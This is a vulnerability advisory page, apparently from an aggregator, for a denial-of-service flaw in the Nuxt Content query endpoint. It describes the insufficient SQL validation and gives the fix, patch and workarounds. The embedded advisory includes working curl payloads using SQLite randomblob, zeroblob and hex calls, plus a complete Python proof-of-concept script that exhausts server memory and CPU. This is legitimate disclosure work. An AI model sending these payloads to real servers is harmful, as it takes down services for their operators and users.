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Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API

CVSS 3.1 7.5 HIGHEUVD CVSS 3.1 7.5 CVSS 3.1 · [email protected] · Secondary 7.5 HIGHCVSS_V3 Publisher rating HIGHFixed by @nuxt/content 3.15.2KEV status unknown

cve-program · CVE-2026-102650

Published

Nuxt Content is the file-based CMS for Nuxt applications, powered by Markdown and Vue components. From 3.0.0 until 3.15.2, the unauthenticated POST /__nuxt_content/:collection/query endpoint accepts an attacker-controlled sql field in src/runtime/api/query.post.ts and permits expensive SQLite expressions. Version 3.0.0 performed no query validation; in affected releases using assertSafeQuery in src/runtime/internal/security.ts, the reported validation gap rejects a short list of SQL command keywords in WHERE clauses but permits function calls including randomblob(), zeroblob(), hex(), and length(). The query reaches the synchronous better-sqlite3 sink in src/runtime/internal/database.server.ts, allowing a single remote request to consume substantial CPU and memory while blocking the Node.js event loop and all concurrent request handling. Fully static prerendered deployments that do not expose the server endpoint are not affected. This issue is fixed in version 3.15.2.

Read the publisher's advisory

euvd · EUVD-2026-118389

Published

Nuxt Content is the file-based CMS for Nuxt applications, powered by Markdown and Vue components. From 3.0.0 until 3.15.2, the unauthenticated POST /__nuxt_content/:collection/query endpoint accepts an attacker-controlled sql field in src/runtime/api/query.post.ts and permits expensive SQLite expressions. Version 3.0.0 performed no query validation; in affected releases using assertSafeQuery in src/runtime/internal/security.ts, the reported validation gap rejects a short list of SQL command keywords in WHERE clauses but permits function calls including randomblob(), zeroblob(), hex(), and length(). The query reaches the synchronous better-sqlite3 sink in src/runtime/internal/database.server.ts, allowing a single remote request to consume substantial CPU and memory while blocking the Node.js event loop and all concurrent request handling. Fully static prerendered deployments that do not expose the server endpoint are not affected. This issue is fixed in version 3.15.2.

Read the publisher's advisory

nvd · CVE-2026-102650

Published

Nuxt Content is the file-based CMS for Nuxt applications, powered by Markdown and Vue components. From 3.0.0 until 3.15.2, the unauthenticated POST /__nuxt_content/:collection/query endpoint accepts an attacker-controlled sql field in src/runtime/api/query.post.ts and permits expensive SQLite expressions. Version 3.0.0 performed no query validation; in affected releases using assertSafeQuery in src/runtime/internal/security.ts, the reported validation gap rejects a short list of SQL command keywords in WHERE clauses but permits function calls including randomblob(), zeroblob(), hex(), and length(). The query reaches the synchronous better-sqlite3 sink in src/runtime/internal/database.server.ts, allowing a single remote request to consume substantial CPU and memory while blocking the Node.js event loop and all concurrent request handling. Fully static prerendered deployments that do not expose the server endpoint are not affected. This issue is fixed in version 3.15.2.

Read the publisher's advisory

osv · GHSA-xxrh-5hgg-gj4h

Published

### Summary The `POST /__nuxt_content/:collection/query` endpoint in `@nuxt/content` accepts an attacker-controlled `sql` field from the HTTP request body and executes it against a local SQLite database after passing it through an insufficient validator (`assertSafeQuery`). The validator only blocks a small set of SQL command keywords and does not reject expensive SQLite built-in functions such as `randomblob()`, `zeroblob()`, `hex()`, or `length()`. An unauthenticated remote attacker can craft a single request that forces SQLite to allocate hundreds of megabytes of memory and perform CPU-intensive work, causing server-wide denial of service. This endpoint is enabled by default for every collection and requires no authentication. ### Details The vulnerability spans three source files: **Route registration — `src/module.ts:207-208`** The Nuxt Content module registers a public HTTP POST handler for each configured collection at startup: ```ts // src/module.ts:207-208 addServerHandler({ route: `/__nuxt_content/${collection.name}/query`, handler: resolver.resolve('./runtime/api/query.post'), }) ``` No authentication middleware is attached; the route is reachable by any client. **Source (attacker input) — `src/runtime/api/query.post.ts:7-9`** ```ts // src/runtime/api/query.post.ts const { sql } = await readBody(event) // line 8 — attacker-controlled assertSafeQuery(sql, collection) // line 11 — insufficient validation return loadDatabaseAdapter(conf).all(sql) // line 18 — raw sql passed to sink ``` **Inadequate sanitizer — `src/runtime/internal/security.ts:55-63`** ```ts if (where) { const noString = cleanupQuery(where, { removeString: true }) if (noString.match(SQL_COMMANDS)) { // /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i throw new Error('Invalid query: WHERE clause contains unsafe SQL commands') } // No rejection of function calls (randomblob, zeroblob, hex, length, …) } ``` The denylist matches only six DDL/DML keywords. SQLite resource-consumption functions (`randomblob`, `zeroblob`, `hex`, `length`) are not keywords matched by the regex and therefore pass validation unconditionally. **Sink — `src/runtime/internal/database.server.ts:26-28`** ```ts all: async (sql, params = []) => { return db.prepare(sql).all(...params) // executes the unmodified attacker sql } ``` `better-sqlite3`'s `prepare().all()` is a synchronous call that blocks the Node.js event loop for the entire duration of the SQLite query. A single malicious request therefore stalls all concurrent request handling. **Attack chain summary:** ``` Attacker HTTP POST (sql field) → query.post.ts readBody() [source] → assertSafeQuery() — BYPASS [insufficient validation] → loadDatabaseAdapter().all(sql) [propagation] → db.prepare(sql).all() [sink — synchronous, blocks event loop] ``` ### PoC **Environment setup** ```bash git clone https://github.com/nuxt/content.git cd content git checkout d8fed0c3ddbcad5805772e1ef8da9fbe841e772e pnpm install pnpm dev:prepare cd test/fixtures/basic pnpm dev --host 127.0.0.1 --port 3000 ``` **Step 1 — Establish baseline (safe query)** ```bash curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \ -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \ -H 'content-type: application/json' \ --data '{"sql":"SELECT * FROM _content_content WHERE (id = '"'"'1'"'"') ORDER BY stem ASC LIMIT 1"}' # Expected: status=200 time=~0.009s ``` **Step 2 — Attack payload (randomblob variant)** ```bash curl -sS -o /dev/null -w 'status=%{http_code} time=%{time_total}\n' \ -X POST 'http://127.0.0.1:3000/__nuxt_content/content/query' \ -H 'content-type: application/json' \ --data '{"sql":"SELECT * FROM _content_content WHERE (length(hex(randomblob(200000000))) > 0) ORDER BY stem ASC LIMIT 1"}' # Expected: status=200 time=~2.25s (~598 MB RSS during execution) ``` The payload passes `assertSafeQuery()` because the WHERE clause contains no blocked keywords. SQLite then: 1. Allocates 200 MB of random bytes via `randomblob(200000000)` 2. Hex-encodes the result to a 400 MB ASCII string via `hex()` 3. Computes the string length via `length()` **Step 3 — Zeroblob variant (allocation-focused)** ```bash --data '{"sql":"SELECT * FROM _content_content WHERE (zeroblob(1000000000) IS NOT NULL) ORDER BY stem ASC LIMIT 1"}' # 1 GB allocation; may trigger OOM termination ``` **Automated PoC (Docker)** ```bash # Build and run the reproduction container docker build -f vuln-001/Dockerfile -t vuln001:latest \ reports/github_web_211_nuxt__content docker run -d -p 3000:3000 --name vuln001-container vuln001:latest # Run the PoC script (requires Python 3, no third-party packages) python3 vuln-001/poc.py --host 127.0.0.1 --port 3000 ``` **Dynamic reproduction result (phase2):** | Metric | Value | |---|---| | Baseline response time | 0.0088 s | | Attack response time | 11.82 s | | Slowdown ratio | **1339×** | | HTTP status for attack | 200 (not rejected) | The Node.js event loop was blocked for the full duration of each attack request, confirmed by zero concurrent request throughput during the attack. **Proposed patch — `src/runtime/internal/security.ts`** ```diff const SQL_COMMANDS = /SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|\$/i +const SQL_WHERE_ALLOWED_TOKENS = new Set(['AND', 'OR', 'IN', 'NOT', 'BETWEEN', 'LIKE', 'IS', 'NULL']) const noString = cleanupQuery(where, { removeString: true }) if (noString.match(SQL_COMMANDS)) { throw new Error('Invalid query: WHERE clause contains unsafe SQL commands') } + const tokens = noString.match(/[A-Z_]\w*/gi) || [] + if (tokens.some(token => !SQL_WHERE_ALLOWED_TOKENS.has(token.toUpperCase()))) { + throw new Error('Invalid query: WHERE clause contains unsafe SQL expressions') + } } ``` ### Impact This is an unauthenticated remote denial-of-service vulnerability. Any internet-accessible `@nuxt/content` application using the default SQLite/D1 adapter (i.e., the vast majority of deployments, since this is the default runtime) exposes the vulnerable endpoint without authentication at `POST /__nuxt_content/<collection>/query`. Because `better-sqlite3` executes queries synchronously and blocks the Node.js event loop, a single malicious request with a large `randomblob()` argument prevents the server from processing any other requests for the duration of that query. An attacker sending a continuous stream of such requests can sustain a complete denial of service with minimal bandwidth. Impact scope: - **Confidentiality:** None — the attack does not exfiltrate data - **Integrity:** None — no data modification - **Availability:** High — complete service disruption for unauthenticated attackers with network access All users of publicly deployed `@nuxt/content` v3 applications (SSR or server-side rendered static sites that retain the API route) are affected without any prerequisite authentication or prior knowledge of the application. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001: Unauthenticated SQLite Function DoS via @nuxt/content Content Query API # Affects: @nuxt/content v3.15.1 (commit d8fed0c) # # Build context must be the parent directory (github_web_211_nuxt__content/): # docker build -f vuln-001/Dockerfile -t vuln001:latest . FROM node:20-alpine # Install build tools required for better-sqlite3 native compilation RUN apk add --no-cache python3 make g++ WORKDIR /app # Copy the vulnerable source files from the repo for audit reference # These are the exact files that contain the vulnerable code paths COPY repo/src/runtime/internal/security.ts /app/reference/security.ts COPY repo/src/runtime/api/query.post.ts /app/reference/query.post.ts COPY repo/src/runtime/internal/database.server.ts /app/reference/database.server.ts # Copy the minimal reproduction server (JavaScript translation of the above) COPY vuln-001/server.js /app/server.js # Install Node.js dependencies # better-sqlite3: same SQLite library used by @nuxt/content local SQLite adapter RUN npm init -y && npm install [email protected] EXPOSE 3000 CMD ["node", "server.js"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC: VULN-001 — Unauthenticated SQLite Function DoS via @nuxt/content Content Query API Vulnerability: The POST /__nuxt_content/:collection/query endpoint reads an attacker-supplied 'sql' field from the request body, passes it through assertSafeQuery() in security.ts, then executes it via better-sqlite3. assertSafeQuery() only rejects certain SQL command keywords (SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|$) but does NOT block SQLite built-in functions such as randomblob(), zeroblob(), hex(), or length(). Attack payload: SELECT * FROM _content_content WHERE (length(hex(randomblob(100000000))) > 0) ORDER BY stem ASC LIMIT 1 This forces SQLite to: 1. Allocate 100 MB of random bytes via randomblob(100000000) 2. Hex-encode the result to a 200 MB ASCII string via hex() 3. Compute the string length via length() The request blocks the server thread for several seconds per request. Repeated unauthenticated requests exhaust CPU and memory, causing DoS. Affected: @nuxt/content v3.15.1 (commit d8fed0c) Source: src/runtime/internal/security.ts:55-63 src/runtime/api/query.post.ts:8,11,18 src/runtime/internal/database.server.ts:27 CVSS: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) """ import argparse import json import sys import time import urllib.error import urllib.request DEFAULT_HOST = '127.0.0.1' DEFAULT_PORT = 3000 # Time threshold: attack must be at least this many seconds slower than baseline ATTACK_MIN_SECONDS = 0.5 # SQL payloads SAFE_SQL = ( "SELECT * FROM _content_content " "WHERE (id = '1') " "ORDER BY stem ASC LIMIT 1" ) # Malicious payload: passes assertSafeQuery() but forces expensive SQLite computation. # randomblob(100_000_000) -> 100 MB allocation # hex(...) -> 200 MB hex string # length(...) -> string length computation MALICIOUS_SQL = ( "SELECT * FROM _content_content " "WHERE (length(hex(randomblob(100000000))) > 0) " "ORDER BY stem ASC LIMIT 1" ) # Zeroblob variant (allocation-focused, less CPU than hex): ZEROBLOB_SQL = ( "SELECT * FROM _content_content " "WHERE (zeroblob(500000000) IS NOT NULL) " "ORDER BY stem ASC LIMIT 1" ) def post_query(host, port, sql, timeout=120): """Send POST /__nuxt_content/content/query and return (status, elapsed, body).""" payload = json.dumps({"sql": sql}).encode("utf-8") req = urllib.request.Request( f"http://{host}:{port}/__nuxt_content/content/query", data=payload, headers={"Content-Type": "application/json"}, method="POST", ) t0 = time.monotonic() try: with urllib.request.urlopen(req, timeout=timeout) as resp: elapsed = time.monotonic() - t0 body = resp.read().decode("utf-8") return resp.status, elapsed, body except urllib.error.HTTPError as e: elapsed = time.monotonic() - t0 body = e.read().decode("utf-8") return e.code, elapsed, body except Exception as e: elapsed = time.monotonic() - t0 return None, elapsed, str(e) def wait_for_server(host, port, retries=30, delay=1.0): """Poll until the server responds or timeout.""" print(f"[*] Waiting for server at {host}:{port} ...") for attempt in range(1, retries + 1): try: urllib.request.urlopen( f"http://{host}:{port}/", timeout=2 ) except urllib.error.HTTPError: # Any HTTP response (including 404) means the server is up print(f"[+] Server is ready (attempt {attempt})") return True except Exception: pass time.sleep(delay) print(f"[!] Server did not become ready after {retries} attempts") return False def main(): parser = argparse.ArgumentParser( description="VULN-001 PoC: SQLite Function DoS via @nuxt/content query API" ) parser.add_argument("--host", default=DEFAULT_HOST, help="Target host (default: 127.0.0.1)") parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Target port (default: 3000)") parser.add_argument( "--no-wait", action="store_true", help="Skip server readiness check (useful when server is already running)", ) args = parser.parse_args() host, port = args.host, args.port print("=" * 70) print("VULN-001: Unauthenticated SQLite Function DoS") print("Target: @nuxt/content v3.15.1 — POST /__nuxt_content/:collection/query") print("=" * 70) if not args.no_wait: if not wait_for_server(host, port): sys.exit(2) # ------------------------------------------------------------------ # Step 1: Safe baseline query — validates endpoint is reachable # ------------------------------------------------------------------ print() print("[STEP 1] Baseline safe query") print(f" SQL: {SAFE_SQL}") status1, t1, body1 = post_query(host, port, SAFE_SQL) print(f" Status: {status1} Time: {t1:.4f}s") if status1 == 200: rows1 = json.loads(body1) print(f" Rows returned: {len(rows1)}") else: print(f" Response: {body1[:200]}") # ------------------------------------------------------------------ # Step 2: Malicious payload — SQLite function DoS # ------------------------------------------------------------------ print() print("[STEP 2] Malicious SQLite function payload") print(f" SQL: {MALICIOUS_SQL}") print(" Explanation:") print(" randomblob(100000000) -> allocates 100 MB of random bytes") print(" hex(...) -> encodes to 200 MB ASCII string") print(" length(...) -> forces full evaluation before comparison") print(" assertSafeQuery() passes: no SQL_COMMANDS keyword found in WHERE") print(" Sink: better-sqlite3 db.prepare(sql).all() executes unconditionally") print() print(" Sending request ...") status2, t2, body2 = post_query(host, port, MALICIOUS_SQL) print(f" Status: {status2} Time: {t2:.4f}s") if status2 == 200: rows2 = json.loads(body2) print(f" Rows returned: {len(rows2)} (assertSafeQuery() did NOT reject this query)") else: print(f" Response: {body2[:200]}") # ------------------------------------------------------------------ # Step 3: Report # ------------------------------------------------------------------ print() print("[RESULT]") print(f" Baseline time : {t1:.4f}s") print(f" Attack time : {t2:.4f}s") ratio = (t2 / t1) if t1 > 0 else float("inf") print(f" Slowdown ratio : {ratio:.1f}x") print() accepted = status2 == 200 slow_enough = t2 >= ATTACK_MIN_SECONDS if accepted and slow_enough: print("[PASS] VULNERABILITY CONFIRMED") print(f" 1. assertSafeQuery() ACCEPTED the malicious payload (no 400 error)") print(f" 2. SQLite executed randomblob(100000000); observed {t2:.4f}s execution time") print(f" 3. Time delta confirms resource exhaustion: {t2:.4f}s vs baseline {t1:.4f}s") print(f" 4. Unauthenticated attacker can chain requests to exhaust server CPU/memory") sys.exit(0) elif accepted and not slow_enough: print("[WARN] Payload was ACCEPTED but execution was faster than threshold") print(f" accepted={accepted}, time={t2:.4f}s, threshold={ATTACK_MIN_SECONDS}s") print(" Try increasing the blob size in MALICIOUS_SQL (e.g. 200000000)") sys.exit(1) else: print(f"[FAIL] Unexpected result: accepted={accepted}, time={t2:.4f}s") print(f" Response body: {body2[:300]}") sys.exit(1) if __name__ == "__main__": main() ``` ### Affected versions All `@nuxt/content` v3 releases before `3.15.2` are affected (`>= 3.0.0, < 3.15.2`). The report was reproduced against `3.15.1`, but the same `WHERE` clause validation gap exists in every earlier v3 release; `3.0.0` performed no query validation at all. Fully static (prerendered, no server) deployments are not affected. ### Patches Fixed in `3.15.2` (#3819): function calls are rejected in query `WHERE` clauses. Subsequent releases harden validation further — `3.16.1` removes a ReDoS in `assertSafeQuery` (#3851) and `3.16.2` only accepts `WHERE` clauses matching the exact output of the query builder (#3862, #3877). Upgrading to the latest version (`>= 3.16.2`) is recommended. ### Workarounds If you cannot upgrade, block or restrict access to `POST /__nuxt_content/*/query` at the proxy/WAF level, or prerender the site so the endpoint is not deployed. ### Credits Also independently reported by @Pig-Tail (GHSA-c739-vwm9-rgx3) and @maru1009 (as part of GHSA-wjh8-qcrm-wf29).

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Affected versions, risk and source history

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14 Nov 2026 17:37:39 UTC

Nuxt Content is the file-based CMS for Nuxt applications, powered by Markdown and Vue components. From 3.0.0 until 3.15.2, the unauthenticated POST /__nuxt_content/:collection/query endpoint accepts an attacker-controlled sql field in src/r…

euvd · EUVD-2026-118389 · Published

14 Nov 2026 17:37:13 UTC

Nuxt Content is the file-based CMS for Nuxt applications, powered by Markdown and Vue components. From 3.0.0 until 3.15.2, the unauthenticated POST /__nuxt_content/:collection/query endpoint accepts an attacker-controlled sql field in src/r…

nvd · CVE-2026-102650 · Published

12 Nov 2026 17:19:20 UTC

Nuxt Content is the file-based CMS for Nuxt applications, powered by Markdown and Vue components. From 3.0.0 until 3.15.2, the unauthenticated POST /__nuxt_content/:collection/query endpoint accepts an attacker-controlled sql field in src/r…

euvd · EUVD-2026-118389 · Published

12 Nov 2026 17:18:54 UTC

Nuxt Content is the file-based CMS for Nuxt applications, powered by Markdown and Vue components. From 3.0.0 until 3.15.2, the unauthenticated POST /__nuxt_content/:collection/query endpoint accepts an attacker-controlled sql field in src/r…

nvd · CVE-2026-102650 · Published

10 Nov 2026 21:21:24 UTC

Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API

cve-program · CVE-2026-102650 · Published

10 Nov 2026 16:25:46 UTC

Nuxt Content is the file-based CMS for Nuxt applications, powered by Markdown and Vue components. From 3.0.0 until 3.15.2, the unauthenticated POST /__nuxt_content/:collection/query endpoint accepts an attacker-controlled sql field in src/r…

euvd · EUVD-2026-118389 · Published

10 Nov 2026 16:25:21 UTC

Nuxt Content is the file-based CMS for Nuxt applications, powered by Markdown and Vue components. From 3.0.0 until 3.15.2, the unauthenticated POST /__nuxt_content/:collection/query endpoint accepts an attacker-controlled sql field in src/r…

nvd · CVE-2026-102650 · Published

10 Nov 2026 16:21:51 UTC

Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API

osv · GHSA-xxrh-5hgg-gj4h · Published

6 Nov 2026 19:02:40 UTC

Nuxt Content: Unauthenticated SQLite Function DoS via Content Query API

cve-program · CVE-2026-102650 · Published

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